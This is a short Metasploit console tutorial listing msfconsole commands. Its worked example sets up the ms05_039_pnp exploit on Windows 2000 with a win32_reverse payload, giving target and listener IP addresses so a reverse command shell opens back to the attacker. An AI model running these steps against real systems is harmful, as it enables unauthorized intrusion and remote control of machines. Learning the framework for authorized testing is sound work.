Learn Metasploit Framework
help (or '?') – shows the available commands in msfconsole
show exploits – shows the exploits you can run (in our case here, the ms05_039_pnp exploit)
show payloads – shows the various payload options you can execute on the exploited system such as spawn a command shell, uploading programs to run, etc. (in our case here, the win32_reverse exploit)
info exploit [exploit name] – shows a description of a specific exploit name along with its various options and requirements (ex. info exploit ms05_039_pnp shows information on that specific attack)
info payload [payload name] – shows a description of a specific payload name along with its various options and requirements (ex. info payload win32_reverse shows information on spawning a command shell)
use [exploit name] – instructs msfconsole to enter into a specific exploit's environment (ex. use ms05_039_pnp will bring up the command prompt ms05_039_pnp > for this specific exploit
show options – shows the various parameters for the specific exploit you're working with
show payloads – shows the payloads compatible with the specific exploit you're working with
set PAYLOAD – allows you to set the specific payload for your exploit (in this example, set PAYLOAD win32_reverse)
show targets – shows the available target OSs and applications that can be exploited
set TARGET – allows you to select your specific target OS/application (in this example, I'll use set TARGET 0 to for all English versions of Windows 2000)
set RHOST – allows you to set your target host's IP address (in this example, set RHOST 10.0.0.200)
set LHOST – allows you to set the local host's IP address for the reverse communications needed to open the reverse command shell (in this example, set LHOST 10.0.0.201)
back – allows you to exit the current exploit environment you've loaded and go back to the main msfconsole prompt
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